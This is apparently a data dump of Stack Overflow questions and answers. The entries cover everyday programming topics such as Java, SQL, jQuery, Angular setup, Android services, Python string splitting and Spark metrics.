3837890	0	 <p>Here's my go at it... basically an unrolled loop. The JIT would probably have recognized that a loop would have gone from 0 to 3 and unrolled it itself anyway, but who knows...</p> <pre><code>public static int max(int[] a) { int max = a[0] &gt; a[1] ? a[0] : a[1]; max = a[2] &gt; max ? a[2] : max; return a[3] &gt; max ? a[3] : max; } </code></pre> <p>Sum would obviously just be <code>a[0] + a[1] + a[2] + a[3]</code>.</p> <hr> <p>You could also try packing the four 0-255 values in an int, and do some bit-operations instead.</p>
37621380	0	Set up angular 2 Visual Studio 2015 <p>I have been trying for days to get my project set up correctly. I am going from this post <a href="http://www.mithunvp.com/angular-2-in-asp-net-5-typescript-visual-studio-2015/" rel="nofollow">here</a></p> <p>I have everything working but when I want to put my view in an .html file instead of inline I am having trouble getting the folder structure and html files in the wwwroot folder so I can correctly map my templateUrl's. </p> <p>So my questions are: Is it possible to put the scripts folder and my angular app files inside the wwwroot folder instead of in the root of my project?</p> <p>If not, how do I get gulp to move my compiled .ts files and my folder structure and html to the wwwroot folder?</p> <p>My current folder structure is something like this <a href="http://screencast.com/t/DAk3yEBu0X3b" rel="nofollow">http://screencast.com/t/DAk3yEBu0X3b</a></p> <p>I do not know how to reference my app.html since it does not get moved into wwwroot file.</p> <p>Thanks</p> <p><strong>EDIT:</strong> I am trying to use Steve Sanderson's Template, the one @Mike Mazmanyan suggested. The template is making me even more confused. It looks like its using CommonJS to compile the templates and put them in the script file instead of just referencing them from the server. </p> <p>Is the the preferred way to write angular applications? It seams like if you put your whole application including html in one script file it will take a long time to download.</p> <p>Is it possible to do both? Put some templates in a script file and have some that are just a path to a endpoint? I want to use the server side partial templates like in the <a href="https://ievangelistblog.wordpress.com/2016/01/13/building-an-angular2-spa-with-asp-net-5-mvc-6-web-api-2-and-typescript-1-7-5/" rel="nofollow">post</a></p>
15279765	0	 <p>We have implemented exactly that kind of feature on the homepage of ilsschools.co.uk using client side onchange event:</p> <pre><code>var com2 = XSP.getElementById("#{id:comboBox2}"); XSP.partialRefreshGet("#{id:comboBox2}", { onComplete : com2.selectedIndex = 0 }); </code></pre> <p>We get the element we want to refresh (i.e. comboBox2 and we do this for comboxBox3, 4 etc as well). Then we use partialRefreshGet to refresh the choices in comboBox2, this can be repeated for 3, 4 and other comboBoxes as well. You can compute the disabled property of a comboBox to disable it. You can compute the selections for a comboBox using SSJS.</p> <p>Hope this helps.</p>
22626811	0	 <p>In the order by clause we can add two thing:</p> <ul> <li><p>Column names</p> <pre><code>Select * from TTT order by age; </code></pre></li> <li><p>Coulmn number to filter</p> <pre><code>Select * from TTT order by 2;//if age is the second column in the table or Select name,age from TTT order by 2; // this will order by age </code></pre></li> </ul> <p>In the following case the inner query</p> <pre><code> SELECT AGE FROM TTT WHERE NAME='TANDEL' </code></pre> <p>will return 5</p> <p>and the parent query</p> <pre><code> SELECT * FROM TT ORDER BY 5 </code></pre>
4024815	0	 <p>Set an <code>onkeyup</code> or <code>onkeydown</code> event on your textarea, the latter is better because it fires before the new line is added to the textarea</p> <pre><code>var $form = $( '#yourForm' ); $( '#yourTextArea' ).keydown(function( e ){ if( e.keyCode == 13 ){ $form.submit(); } }); $form.submit(function(){ alert( 'submitted' ); return false; }); </code></pre>
32270616	0	asp.net not deploying non-referenced assemblies <p>I have a asp.net mvc project that is part of a azure cloud project. Lets call it <code>WebRole</code>.</p> <p>The <code>WebRole</code> project depends on a service interface witch is in it's own assembly. Let's call that <code>Services</code>. The implementation of those service interfaces sits in yet another assembly, which we can call <code>Services.Implementations</code>.</p> <p>The <code>WebRole</code> project have no direct dependency on <code>Service.Implementations</code>, but the IoC-container will map things together. The problem is that as long as the direct reference is not there, <code>Service.Implementations</code> won't get deployed. Neither to local IIS Express or to the cloud.</p> <p>How can I tell that the <code>Service.Implementations</code> project needs to be deployed, without exposing it to the <code>WebRole</code> project?</p>
36190407	0	ceil function doesn't return what it should <p>I have a problem with the ceil function in matlab. When I say "ceil(192.00)" it returns 192, as it should. However, when I declare a variable x and assign it 14*(256/20)+(256/20), that being exactly 192.00, ceil(x) returns 193. Why is that? Thanks in advance!</p>
25766005	0	 <pre><code>} catch (InputMismatchException e) { correctInput = false; System.out.println("Please enter int value"); inputScanner.next(); } </code></pre> <p>consume one token and continue</p>
5675448	0	 <pre><code>SELECT a.* FROM a LEFT JOIN b USING (signup) WHERE b.id IS NULL AND *signup thingie*; </code></pre> <p>though this is the way to select rows that have no match I do not see how you want to get the desired result from these tables, I believe you missed something in your illustration.</p>
13935454	1	split python string on multiple string delimiters efficiently <p>Suppose I have a string such as <code>"Let's split this string into many small ones"</code> and I want to split it on <code>this</code>, <code>into</code> and <code>ones</code></p> <p>such that the output looks something like this:</p> <pre><code>["Let's split", "this string", "into many small", "ones"] </code></pre> <p>What is the most efficient way to do it?</p>
15859581	0	 <p>No, you don't. A quality implementation (<code>Hashtable</code>/<code>HashMap</code>) will resize itself automatically as the number of elements increases.</p> <p>If you are talking about your own implementation, the answer depends on whether the hash table is capable of increasing the number of buckets as its size grows.</p> <p>If you are worried about the performance implications of the resizing, the correct approach is to profile this in the context of your overall application.</p>
3595562	0	 <p>I just went through the process of installing and trying several carts for a project that I was working on. As Pierre says above, "There is no best shopping cart, however there is one best for your specific need" That is a very truthful statement.</p> <p>My project was for an on line soap company that has 5 different categories with 5 or so variations each. Not a big store and not one that changes inventory often.</p> <p>I tried the following carts: PrestaShop, Zen Cart, Magento, getshopped and phpurchase.</p> <p>My findings were that for a small store, PrestaShop, Zen Cart and Magento are a bit overkill. For a small shop, getshopped and phpurchase are better fits.</p> <p>Out of the 3 big shop solutions, I felt that Zen Cart is really hard to make look nice. It has a 90's vibe about the template that it comes with and takes a lot of work to get around that. Magento and PrestaShop were really cool. PrestaShop seems very UK specific. It did not take Authorize.net and I think that there may be a plugin that you can get. Magento seems like a great solution for a larger store and I liked the backend admin interface.</p> <p>I purchased getshopped plugin and integrated it into my Wordpress site (I purchased the Authroize.net integration gold cart level) I had such trouble dealing with the multiple bugs that I found riddled through the code base. I looked at their forum and many people who had similar issues were not responded to. Alot of people were as frustrated as me. I tried customer support - no response. I asked for a refund, no response. Basically, Get Shopped was a complete waste of time and money.</p> <p>I then found Phpurchase. The customer support person, Lee Blue was really nice - Lee answered my emails morning, noon and night. Lee is literally the nicest customer support person I've ever worked with! - so helpful. The code worked just as specced - no troubles and no complaints. I'm a very happy customer with phpurchase. If I need a small ecommerce site in the future, I will use that solution again, for sure. </p> <p>Note, I'm not an affiliate of Phpurchase or have any type of financial gain by recommending them, I just had such a rough time with getShopped and such a wonderful experience with <a href="http://www.phpurchase.com/" rel="nofollow noreferrer">Phpurchase!</a></p>
28513861	0	 <p>Code placed in App_Code folder is treated a bit different, it is compiled at runtime. cshtml file is 'Content' so that could be the reason why you get errors. Create normal folder within your project name it Code or something similar (but not App_Code) and place your file there.</p>
23626280	0	Yellow border on hover using ZeroClipboard <p>I have the following code generating a ZeroClipboard element for me:</p> <pre><code>RunClipboardClient: function (elementSelector) { var client = new ZeroClipboard($(elementSelector)); client.on("load", function (client) { client.on("datarequested", function (client) { client.setText("Text here"); }); client.on("complete", function (client, args) { $("#ActiveMenu").hide(); }); }); } </code></pre> <p>Im using this in combination with <a href="http://medialize.github.io/jQuery-contextMenu/" rel="nofollow noreferrer">jQuery Context Menus</a> open event. The problem is that there is a odd yellow border around the element when hovering the second time I open the context menu.</p> <p><img src="https://i.stack.imgur.com/X2LPe.jpg" alt="enter image description here"></p> <p>I tried applying <code>outline: none</code> to the styling but it did not remove the border. This is the code i'm running when generating the context menu:</p> <pre><code>$(".MenuSmall").destroyContextMenu(); $(".MenuSmall").contextMenu( { menu: 'ActiveMenu' }, // On item clicked function (action, element) { // Run Menu Item action }, // On close function () { // Run other code }, // On open function (event) { self.RunClipboardClient("#pdf_link"); } ); </code></pre> <p>This is the HTML using for the context menu</p> <pre><code>&lt;ul id="ActiveMenu"&gt; &lt;li class="MenuPDFLink CustomMenuOption" id="pdf_link"&gt;&lt;div class="iconsBlack PDFLink"&gt;&lt;/div&gt; &lt;a href="#"&gt;Link til PDF&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>
17134117	0	 <pre><code>// jquery plugin uploader.plupload('getUploader').splice(); $('.plupload_filelist_content', uploader).empty(); </code></pre>
9285914	0	 <p>It doesn't matter. As long as Apache is installed before the PHP package then you are good to go. (Because when you install the PHP package some distributions do some auto-configuring with Apache).</p>
3443598	0	Get php results with jquery ajax <p>I don't know why I am having a hard time with this, but it's about time I came up for air and asked the question.</p> <p>What is the best way to call a php file with jquery ajax, have it process some inputs via $_GET, return those results and again use ajax to replace the content of a div?</p> <p>So far, I can call the php file, and in the success of the jquery ajax call I get an alert of the text.</p> <pre><code>$.ajax({ url: "xxx/xxx.php", type: "GET", data: data, cache: false, success: function (html) { alert("HTLM = " + html); $('#product-list').html(html); } }); </code></pre> <p>I set the php function to echo the result, the alert spits out the html from the php file. But I get a side effect. I get the code that the php generated echoed at the top of the page. So php is doing it's job (by echoing the content). Next jquery is doing it's job by replacing the div's content with the values from the php file.</p> <p>How do I stop the php file from echoing the stuff at the top of the page?</p> <p>Sample code being echoed from php and alerted in the success of jquery ajax</p> <p>HTML = </p> <pre><code>&lt;div class="quarter"&gt; &lt;div class="thumb"&gt; &lt;a href="productinfo.php?prod-code=Y-32Z&amp;cat=bw&amp;sub="&gt; &lt;img src="products/thumbs/no_thumb.gif" alt="No Image" border="0" /&gt; &lt;/a&gt; &lt;/div&gt; &lt;div class="labels"&gt;&lt;span class="new-label"&gt;New&lt;/span&gt;&lt;/div&gt; &lt;p&gt;&lt;span class="prod-name"&gt;32OZ YARD&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span class="prod-code"&gt;Y-32Z&lt;/span&gt;&lt;/p&gt; &lt;/div&gt; </code></pre> <p>Thanks!!!</p> <p>-Kris</p>
35134647	0	Invoke service when screen turns on (Android) <p>I am creating a lockscreen app with facial recognition. As a first step I am creating a simple lockscreen that unlocks on <code>Button</code> click. The lockscreen should start when <code>Switch</code> on <code>MainActivity</code> is turned on. I created a <code>Service</code> which starts my lockscreen activity, but the activity does not show again once I turn off and then turn on my screen. I am a beginner in android and don't understand what to do. I would be happy if i could get some help.</p> <p>The java files are:</p> <p>MainActivity.java</p> <pre><code>package com.sanket.droidlockersimple; import android.content.Intent; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.widget.CompoundButton; import android.widget.Switch; public class MainActivity extends ActionBarActivity { private Switch enableLocker; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); enableLocker = (Switch) findViewById(R.id.enableLocker); enableLocker.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if(enableLocker.isChecked()) { Intent intent = new Intent(MainActivity.this, DroidLockerService.class); startService(intent); } } }); } } </code></pre> <p>DroidLockerService.java</p> <pre><code>package com.sanket.droidlockersimple; import android.app.Service; import android.content.Intent; import android.os.IBinder; public class DroidLockerService extends Service { @Override public IBinder onBind(Intent intent) { return null; } @Override public void onStart(Intent intent, int startId) { super.onStart(intent, startId); Intent intent1 = new Intent(this, LockScreen.class); intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent1); } @Override public void onDestroy() { super.onDestroy(); } } </code></pre> <p>LockScreen.java</p> <pre><code>package com.sanket.droidlockersimple; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.view.View; import android.view.WindowManager; import android.widget.Button; public class LockScreen extends ActionBarActivity { private Button unlock; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED); getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD); getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON); setContentView(R.layout.activity_lock_screen); Button unlock = (Button) findViewById(R.id.button); unlock.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { finish(); } }); } } </code></pre>
41070767	0	ensimeConfig creates directories java and scala-2.11, which I don't need <p>When I run <code>ensimeConfig</code>, it creates directories such as</p> <pre><code>src/main/java src/main/scala-2.11 </code></pre> <p>which I don't need, since I have my sources always inside </p> <pre><code>src/main/scala </code></pre> <p>How can I avoid such behaviour?</p> <p>NOTE: This is the version I'm using: <code>addSbtPlugin("org.ensime" % "sbt-ensime" % "1.12.4")</code></p>
20077212	0	New Relic iOS app doesn't notify of downtime anymore <p>Not sure when this started happening, but I used to get alerts on my iPhone from the New Relic app when our site went non-responsive. I don't think we changed anything. How can I re-enable these alerts?</p>
759223	0	 <p>Yes. A float (or double) is guaranteed to exactly represent any integer that does not need to be truncated. For a double, there is 53 bits of precision, so that is more than enough to exactly represent any 32 bit integer, and a tiny (statistically speaking) proportion of 64 bit ones too.</p>
28116320	0	 <p>You need to use the place.Search function of The Wikimapia API and enter the latitude, longitude and the name of the place as parameters.</p> <p>The API returns a lot of data separated in blocks. The one you are interested in is the <strong>geometry</strong>.</p> <p>You can make tests with the <a href="http://wikimapia.org/api/?action=examples&amp;function=place.search" rel="nofollow">Wikimapia API</a> to filter the results to your needs. With the lat lon parameters and the district name you provided I was able to get the area you needed as the first result.</p> <p>The places[0].polygon is what you need. A JSON array of coordinates.</p> <p>Here´s the url I used to get the results:</p> <p><a href="http://api.wikimapia.org/?key=example&amp;function=place.search&amp;q=Chervonozavodsky-district&amp;lat=49.964473&amp;lon=36.262436&amp;format=json&amp;pack=&amp;language=en&amp;data_blocks=geometry%2C&amp;page=1&amp;count=1" rel="nofollow">http://api.wikimapia.org/?key=example&amp;function=place.search&amp;q=Chervonozavodsky-district&amp;lat=49.964473&amp;lon=36.262436&amp;format=json&amp;pack=&amp;language=en&amp;data_blocks=geometry%2C&amp;page=1&amp;count=1</a></p> <p>Note that in this example i made the request for a JSON result. But you can also ask for a XML if you prefer.</p> <p>Hope it helps!</p>
38719978	0	 <p>Bootstrap has no direct provision for partial columns.</p> <p>You can rewrite the stylesheet to operate on a different number of columns (i.e. 24).</p> <p>The <a href="http://getbootstrap.com/customize/" rel="nofollow">customize</a> page will let you specify a different number of columns and generate the stylesheet for you.</p> <p>Alternatively, you can check out Bootstrap from Git and modify <a href="https://github.com/twbs/bootstrap/blob/master/less/variables.less#L325" rel="nofollow">the variables file</a> to the same effect.</p>
7322272	0	 <p>Update: the Firefox bug is now marked as “fixed” and will make it into a near-future update.</p> <hr> <p>I’ve run into this too and would <strong>love</strong> to see the root cause fixed.</p> <ul> <li><p>I talked to a couple of Firefox developers (mbrubeck and gavin), and they think that it’s a bug! <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=300849" rel="nofollow">The same issue was reported, and fixed,</a> in 2005 for Firefox 1.9. Then, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=489259" rel="nofollow">bug 489259</a> was opened in 2009. mbrubeck has graciously moved it out of the “unconfirmed” pile.</p></li> <li><p>Safari behaves better than Firefox, but an error message (“One error in opening the page…”) shows up in the status bar if you remove the iframe during the <code>load</code> event. I found two similar WebKit bugs which have been open since 2007: <a href="https://bugs.webkit.org/show_bug.cgi?id=15485" rel="nofollow">15485</a> and <a href="https://bugs.webkit.org/show_bug.cgi?id=13281" rel="nofollow">13281</a>. </p></li> </ul> <p>This appears to happen when you remove an <code>iframe</code> from the document during the <code>load</code> event. JavaScript events fire <em>synchronously</em> — that is, in series with the browser’s own handling of the web page. That’s why it's possible to prevent a form from being submitted or prevent a keypress or mouse click from being registered from within an event handler.</p> <p>The last time this bug was fixed in Firefox, the cause was that the removing an <code>iframe</code> from the page makes it forget which page owned it, but the <code>iframe</code> notifies the page that it was finished loading <em>after</em> the <code>load</code> event.</p> <p>Anything you schedule with <code>setTimeout</code> happens after the current cycle of the event loop — after the browser finishes what it’s doing <em>right now</em>. So, using setTimeout to remove the <code>iframe</code>, even with a timeout of zero, lets it finish:</p> <pre><code>iframe.onload = function(){ // Do work with the content of the iframe… setTimeout(function(){ iframe.parentNode.removeChild(iframe); }, 0); } </code></pre> <p>You can find this technique in use <a href="https://github.com/malsup/form/blob/e77e287c8024d200909a7b4f4a1224503814e660/jquery.form.js#L511" rel="nofollow">in the jQuery form plugin</a>.</p>
25594636	0	Getting content from opening associated file Android SDK <p>So, I am associating a particular file type with my app and I want to be able to make it so that when a file of that type is opened, the app opens and is able to retrieve the information from the file. How would I go about doing this? I know I can associate the file by using the following:</p> <pre><code>&lt;action android:name="android.intent.action.VIEW" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;data android:scheme="file" android:host="*" android:pathPattern=".*\\.shrt" android:mimeType="*/*" /&gt; </code></pre> <p>Of course the code is in the manifest file in an intent filter, but getting the text of the file is what is leaving me stuck. I couldn't find any article relating to the subject(only one, which had no solutions).</p>
1228323	0	 <p>You don't want to use <code>@course.chapters.build</code> here because this does add an empty chapter to the course. Instead you'll want to use <code>Chapter.new</code> and set the <code>:course</code> option like this.</p> <pre><code>@newchapter = Chapter.new(:course =&gt; @course) </code></pre> <p>It may not even be necessary to specify <code>:course</code> here depending on how you are using <code>@newchapter</code>.</p>
2954820	0	Determine if point intersects 35km radius around another point? Possible in Linq? <p>Assume I have a point at the following location:</p> <p>Latitude: 47°36′N Longitude: 122°19′W</p> <p>Around the above point, I draw a 35Km radius. I have another point now or several and I want to see if they fall within the 35Km radius? How can I do this? Is it possible with Linq given the coordinates (lat, long) of both points?</p>
36617616	0	 <p>Have you tried on <strong>your php file</strong> , that?:</p> <pre><code>header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: POST/GET'); header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept"); </code></pre> <h2>UPDATE</h2> <p>As i read <strong>your error message above</strong> ,the error seems to be on the response, so i show you a screenshot of my request to the server(from my live web-app where i use CORS on the php), you need these headers on the response ,please see my response from the server:</p> <p><a href="https://i.stack.imgur.com/XYUdy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XYUdy.png" alt="enter image description here"></a></p> <p>Hope helps, good luck.</p>
30203524	0	navBar not fading out <p>I'm writing a script in order for the navBar to go in on certain place and disappear on that same place. I managed to make it go in, but it won't leave. I can't find my mistake. Please help me. Here is my code: </p> <pre><code>var dummie = document.getElementById("dummie"); var navBar = document.getElementById("navBar"); var test = function(){ dummie.textContent = window.pageYOffset; if(window.pageYOffset &gt; 351){ navBar.style.visibility = "visible"; } else { if(window.pageYOffset &lt; 351){ navBar.visibility = "hidden"; } } } window.setInterval(test, 1); </code></pre>
40921341	1	bytearray instead of regular string value <p>I am loading data from one table into pandas and then inserting that data into new table. However, instead of normal string value I am seeing bytearray.</p> <p><code>bytearray(b'TM16B0I8')</code> it should be <code>TM16B0I8</code></p> <p>What am I doing wrong here? </p> <h2>My code:</h2> <pre><code>engine_str = 'mysql+mysqlconnector://user:pass@localhost/db' engine = sqlalchemy.create_engine(engine_str, echo=False, encoding='utf-8') connection = engine.connect() th_df = pd.read_sql('select ticket_id, history_date', con=connection) for row in th_df.to_dict(orient="records"): var_ticket_id = row['ticket_id'] var_history_date = row['history_date'] query = 'INSERT INTO new_table(ticket_id, history_date)....' </code></pre>
714475	1	What is a maximum number of arguments in a Python function? <p>It's somewhat common knowledge that Python functions can have a maximum of 256 arguments. What I'm curious to know is if this limit applies to <code>*args</code> and <code>**kwargs</code> when they're unrolled in the following manner:</p> <pre><code>items = [1,2,3,4,5,6] def do_something(*items): pass </code></pre> <p>I ask because, hypothetically, there might be cases where a list larger than 256 items gets unrolled as a set of <code>*args</code> or <code>**kwargs</code>.</p>
4657548	0	 <p>That's an error Windows gives when you're trying to bind to an address on the local machine that's not assigned to any of the adapters on the machine. If <code>ipconfig</code> doesn't show it, you can't bind to it. </p> <p>If the external address is on a router that is NAT'ing requests from it to the server's internal address, you can't bind to it because it's on a different machine. This is probably the case. You might want to bind to <code>socket.INADDR_ANY</code> (or its Django equivalent). This will bind to all addresses that are on the machine right now.</p> <p>Also note that if the external address is NAT'ed to your internal one, binding to the internal one should be enough.</p>
37131110	0	How to select sql query for two table with multiple values in php <p>I have two tables in my SQL Server database. The first is <code>bidder_interest_name</code> and second is <code>tender_type_subcat</code> . There have multiple value column <code>bidder_interest_subcategory</code> in <code>bidder_interest_name</code> and <code>tender_type_subcategory</code> in <code>tender_type_subcat</code> tables.</p> <p>Now I want to select the multiple values from both the tables for a particular subcategory and need to both table minimum matching value.</p> <p>This is what I'm doing</p> <p>What I have tried:</p> <pre><code>SELECT bi.bidder_interest_subcategory,tt.tender_type_subcategory FROM bidder_interest_list as bi,new_tender_two as tt WHERE bi.bidder_id=$bidder_id </code></pre>
35260364	0	 <p>While it is acceptable to return pointers to the string literals, buit not to a local pointer, it might be the wrong approach.</p> <p>If <code>str</code> does not change, make it <code>static const char * const str[] = ....</code> That qualifies both, the array and the <code>char []</code> (which is each string literal) it points to const. The <code>static</code> makes it permanent, but with still local scope. It is setup once before your program code starts. In contrast, a non-<code>static</code> version will setup the array for every call.</p> <p>Note that you have to return a <code>const char *</code> to maintain const-correctness. I strongly recommend that; if you cannot, omit the first <code>const</code> only.</p> <p><strong>Note:</strong> Do not cast the result of <code>malloc</code> &amp; friends (or <code>void *</code> in general) in C.</p>
19143323	0	 <p>How did you install R ? It looks like you are missing R headers. Perhaps you need to install the <a href="http://cran.r-project.org/bin/linux/debian/" rel="nofollow"><code>r-base-dev</code> package</a>. </p> <p>About the code, you don't need the wrapper. You can just put this in a <code>.cpp</code> file : </p> <pre><code>#include &lt;Rcpp.h&gt; using namespace Rcpp ; // [[Rcpp::export]] int fibonacci(const int x){ if(x == 0) return(0); if(x == 1) return(1); return(fibonacci(x - 1) + fibonacci(x - 2)); } </code></pre> <p>and just <code>sourceCpp</code> this file : </p> <pre><code>&gt; sourceCpp( "fib.cpp" ) &gt; fibonacci(6) [1] 8 </code></pre>
8103887	0	Static variable in objective c <p>I am somewhat confused about memory allocation of static variable in objective C. </p> <ol> <li><p>should we allocate memory for static variable using <code>alloc:</code>? and initialize it using<code>init:</code>?</p></li> <li><p>Is objective c static variable same as c static variable?</p></li> <li><p>is it worth to apply <code>retain</code> on static variable?</p></li> </ol>
32576015	0	 <pre><code>pv = function(fv, d, t) fv/(1+d)^t pv(1.05^2, 0.05, c(1, 2)) </code></pre> <p>Here's an explanation. Basically, in R, algebraic functions are applied automatically over numeric data, such that looping is often unnecessary.</p>
34111823	0	 <p>You don't try to call <code>update_attribute</code> but <code>udpate_attribute</code>.</p> <p>You just have a simple misspelling in there.</p>
18752871	0	 <p>Add <code>event.preventDefault()</code> at the top of your bind.</p> <p>Also, I recommend changing the event binding to the following:</p> <pre><code>$('#tbl').on('click', 'tr', function(event) { event.preventDefault(); // your code }); </code></pre>
30764822	0	 <p>There are a few ways to loop through the worksheets in a workbook. I prefer the worksheet index method which simply identifies the worksheet according to its position in the worksheet queue.</p> <pre><code>Sub ExpirationYeartoColors() Dim w As Long, lr As Long, r As Long, vVAL As Variant For w = 1 To Worksheets.Count With Worksheets(w) lr = .Cells(Rows.Count, "A").End(xlUp).Row For r = 2 To lr vVAL = .Range("A" &amp; r) If IsNumeric(vVAL) Then 'treat numbers as numbers!!! vVAL = Int(vVAL) 'maybe vVAL = Year(vVAL) ? Select Case vVAL Case 2015 .Range("A" &amp; r).Interior.Color = RGB(181, 189, 0) Case 2016 .Range("A" &amp; r).Interior.Color = RGB(0, 56, 101) Case 2017 .Range("A" &amp; r).Interior.Color = RGB(0, 147, 178) Case 2018 .Range("A" &amp; r).Interior.Color = RGB(155, 211, 221) Case 2019 .Range("A" &amp; r).Interior.Color = RGB(254, 222, 199) Case 2020 .Range("A" &amp; r).Interior.Color = RGB(238, 242, 210) Case 2021 To 2080 .Range("A" &amp; r).Interior.Color = RGB(238, 242, 210) Case Else .Range("A" &amp; r).Interior.Pattern = xlNone End Select Else Select Case vVAL Case Is = "Unknown" .Range("A" &amp; r).Interior.Color = RGB(197, 200, 203) Case Is = "Available" .Range("A" &amp; r).Interior.Color = RGB(247, 150, 91) Case Is = "CommonArea" .Range("A" &amp; r).Interior.Color = RGB(230, 230, 230) Case Else .Range("A" &amp; r).Interior.Pattern = xlNone End Select End If Next r End With Next w On Error GoTo ErrorHandler ' Insert code that might generate an error here Exit Sub ErrorHandler: ' Insert code to handle the error here Resume Next End Sub </code></pre> <p>There are a number of unanswered questions; particularly about the nature of the data. However, you should be treating numbers as numbers especially if you want to use them in something like <code>Case "2020" To "2080"</code>. I've tried to determine the nature of the values and treated text and numbers separately. This compiles but with no sample data or answers to the comments posed I cannot guarantee its validity.</p> <p>Setting the <em>.pattern</em> to xlNone removes the interior fill rather than painting it white.</p> <p>See <a href="http://stackoverflow.com/questions/10714251/how-to-avoid-using-select-in-excel-vba-macros">How to avoid using Select in Excel VBA macros</a> for more methods on getting away from relying on select and activate to accomplish your goals.</p>
20637850	0	 <p>The string you are inserting aren't unicode</p> <p>Try this:</p> <pre><code>values.append(u"%s: \t%s" % (unicode(self[i[0]].label), unicode(self.cleaned_data[i[0]]) ) ) </code></pre>
30877296	0	Recursively iterate through arrays with Lodash <p>I want to use underscore to go iterate each item and append a period to the end of each fruit's name, and return an array. But there can be many nested levels. </p> <p><code>const</code> <code>NESTED =</code> <code>[ {name: 'Apple', items: [{ name: 'Orange', items: [{name: 'Banana'}] }]}, {name: 'Pear'}]</code></p> <p>My final should look like this:</p> <p><code>NESTED =</code> <code>[{ name: 'Apple.', items: [{name: 'Orange.', items: [{name: 'Banana.'}]}]}, { name: 'Pear.'}]</code></p> <p>There can be many and many items within. This is where I am stuck, my current underscore function only gets the first level, using ._map:</p> <pre><code>let items = _.map(NESTED, function(item){ return { // append the period here, but doesn't go deeper } }); </code></pre> <p>What is a good way to do this?</p>
32637640	0	 <p>Your procedure takes two parameters. You are calling it without any parameters. Oracle thus looks for a procedure named <code>spfirst</code> that takes no parameters, finds no such procedure, and throws an error.</p> <p>Something like</p> <pre><code>DECLARE l_location nilesh.location%type; l_salary nilesh.monthly_salary%type; BEGIN spfirst( l_location, l_salary ); END; </code></pre> <p>should work. Of course, you'd generally want to do something with the variables that are returned. If you've enabled <code>dbms_output</code>, you could print them out</p> <pre><code>DECLARE l_location nilesh.location%type; l_salary nilesh.monthly_salary%type; BEGIN spfirst( l_location, l_salary ); dbms_output.put_line( 'Location = ' || l_location ); dbms_output.put_line( 'Salary = ' || l_salary ); END; </code></pre> <p>Be aware that your procedure will throw an error unless the <code>nilesh</code> table has exactly one row. It seems likely that you either want the procedure to take an additional parameter that is the key to the table so that the <code>select into</code> always returns a single row or that you want a function that returns a <code>sys_refcursor</code> rather than a procedure that has multiple <code>out</code> parameters.</p>
40454375	0	 <p>No - it's not a prerequisite, even if you have a client app that consumes them - but imho it's a good idea.</p> <p>Microservices architecture is really nothing new as far as concept. Break up your monolithic app into many components that can iterate quickly at their own pace of development. Cloud native tooling and best practices have brought on this new notion of "microservices" with technology like containers and best practices like code as config.</p> <p>For client consumption across a broad spectrum of client capabilities, microservices are more easily and practically managed with a gateway because the gateway is a piece of infrastructure that acts as a control point for QoS concerns such as security, throttling, caching, payload pagination, lightweight transformation, tracebacks through header injection, etc.</p> <p>It's not necessary, but practically speaking if you have one already baked into your microservices development process as part of a cloud ready infrastructure - you address these things during development consideration and not in "big bang" fashion after the fact - a huge burden in the past for devop/ops folks to get their head around. It's such a burden, that that's why we've started our own solution that marries microservices development integration with management under ones cloud native platform and have a market for it</p>
35817151	0	 <p>It seems that org.wisdom-framework can provide CPU utilization information and it's easy to add inside Spark. Check this out: <a href="https://github.com/wisdom-framework/wisdom/blob/master/extensions/wisdom-monitor/src/main/java/org/wisdom/monitor/extensions/dashboard/CpuGaugeSet.java" rel="nofollow">https://github.com/wisdom-framework/wisdom/blob/master/extensions/wisdom-monitor/src/main/java/org/wisdom/monitor/extensions/dashboard/CpuGaugeSet.java</a></p> <p>This is what I did:</p> <p>Add the following information at the end of the dependency section in ./core/pom.xml:</p> <pre><code> &lt;dependency&gt; &lt;groupId&gt;org.wisdom-framework&lt;/groupId&gt; &lt;artifactId&gt;wisdom-monitor&lt;/artifactId&gt; &lt;/dependency&gt; </code></pre> <p>and add these in at the end of the dependency section in ./pom.xml:</p> <pre><code> &lt;dependency&gt; &lt;groupId&gt;org.wisdom-framework&lt;/groupId&gt; &lt;artifactId&gt;wisdom-monitor&lt;/artifactId&gt; &lt;version&gt;0.9.1&lt;/version&gt; &lt;/dependency&gt; </code></pre> <p>Register cpuGaugeSet in org/apache/spark/metrics/source/JvmSource.scala</p> <pre><code> import org.wisdom.monitor.extensions.dashboard.CpuGaugeSet metricRegistry.registerAll(new CpuGaugeSet) </code></pre> <p>Build spark again. When you report jvm info for through metrics for the executor and driver, you will see three more stats files related to CPU utilization.</p>
